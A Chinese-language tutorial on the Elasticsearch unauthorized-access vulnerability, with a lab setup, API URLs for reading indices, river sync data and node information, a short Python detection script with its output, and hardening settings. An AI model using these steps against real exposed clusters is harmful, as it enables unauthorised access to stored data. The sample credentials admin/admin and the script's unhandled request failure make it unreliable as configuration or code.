Elasticsearch未授权访问漏洞


Elasticsearch未授权访问漏洞

Elasticsearch会默认会在9200端口对外开放,用于提供远程管理数据的功能。

任何连接到服务器端口上的人,都可以调用相关API对服务器上的数据进行任意的增删改查。

Elasticsearch 安装

环境:

elasticsearch Win下载地址:elasticsearch-5.5.0

Ser2008:JDK 1.7+、IP地址:192.168.1.6

解压 elasticsearch,进入 bin 目录,双击执行 elasticsearch.bat(等待20s作用服务才启动)

访问 http://localhost:9200/ ,出现以下页面,说明安装成功。

局域网访问需要在 config/elasticsearch.yml文件中添加:

network.host: 0.0.0.0 #表示所有用户可访问 即远程访问

漏洞复现

安装了river之后可以同步多种数据库数据(包括关系型的mysql、mongodb等)。
http://localhost:9200/_cat/indices 里面的indices包含了_river一般就是安装了river了。

http://localhost:9200/_plugin/head/ web管理界面
http://localhost:9200/_cat/indices
http://localhost:9200/_river/_search 查看数据库敏感信息
http://localhost:9200/_nodes 查看节点数据

访问 http://192.168.1.6:9200/_cat/ 可以看到

检测脚本:

#! /usr/bin/env python
# _*_  coding:utf-8 _*_

import requests

def Elasticsearch_check(ip, port=9200, timeout=5):
    try:
        url = "http://"+ip+":"+str(port)+"/_cat"
        response = requests.get(url)
    except:
        pass
    if "_cat/master" in response.content:
        print '[+] Elasticsearch Unauthorized: ' +ip+':'+str(port)

Elasticsearch_check('192.168.1.6')
➜  elasticsearch python poc.py
[+] Elasticsearch Unauthorized: 192.168.1.6:9200

加固方案

1.限制IP访问,绑定固定IP

config/elasticsearch.yml中设置

http.basic.ipwhitelist: ["localhost", "127.0.0.1"]	#本地地址或其他IP

2.在config/elasticsearch.yml中为9200端口设置认证:

http.basic.enabled: true #开关,开启会接管全部HTTP连接
http.basic.user: "admin" #账号
http.basic.password: "admin" #密码


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM